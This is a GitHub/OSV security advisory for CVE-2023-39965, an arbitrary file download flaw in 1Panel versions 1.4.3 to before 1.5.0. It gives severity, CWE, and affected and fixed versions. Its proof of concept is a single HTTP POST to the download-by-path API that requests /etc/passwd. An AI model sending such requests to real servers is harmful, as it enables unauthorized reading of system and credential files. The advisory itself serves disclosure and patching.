GHSA-85cf-gj29-f555

Source

https://github.com/advisories/GHSA-85cf-gj29-f555

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/08/GHSA-85cf-gj29-f555/GHSA-85cf-gj29-f555.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-85cf-gj29-f555

Aliases

Related

CVE-2023-39965

Published

2023-08-10T20:09:24Z

Modified

2024-08-21T14:41:43.196889Z

Severity

6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L CVSS Calculator

Summary

1Panel Arbitrary File Download vulnerability

Details

Summary

Any file downloading vulnerability exists in 1Panel backend.

Details

Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.

PoC

payload:

POST /api/v1/files/download/bypath HTTP/1.1 Host: ip Content-Type: application/json

{"path":"/etc/passwd"}

f77959349e96543436eea18283fa75c

Impact

Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.

Database specific

{
    "github_reviewed_at": "2023-08-10T20:09:24Z",
    "cwe_ids": [
        "CWE-863"
    ],
    "nvd_published_at": "2023-08-10T18:15:11Z",
    "severity": "MODERATE",
    "github_reviewed": true
}

References

Affected packages

Go / github.com/1Panel-dev/1Panel

Package

Name: github.com/1Panel-dev/1Panel; View open source insights on deps.dev
Purl: pkg:golang/github.com/1Panel-dev/1Panel

Affected ranges

Type: SEMVER
Events: Introduced

1.4.3

Fixed

1.5.0

Affected versions

1.*

1.4.3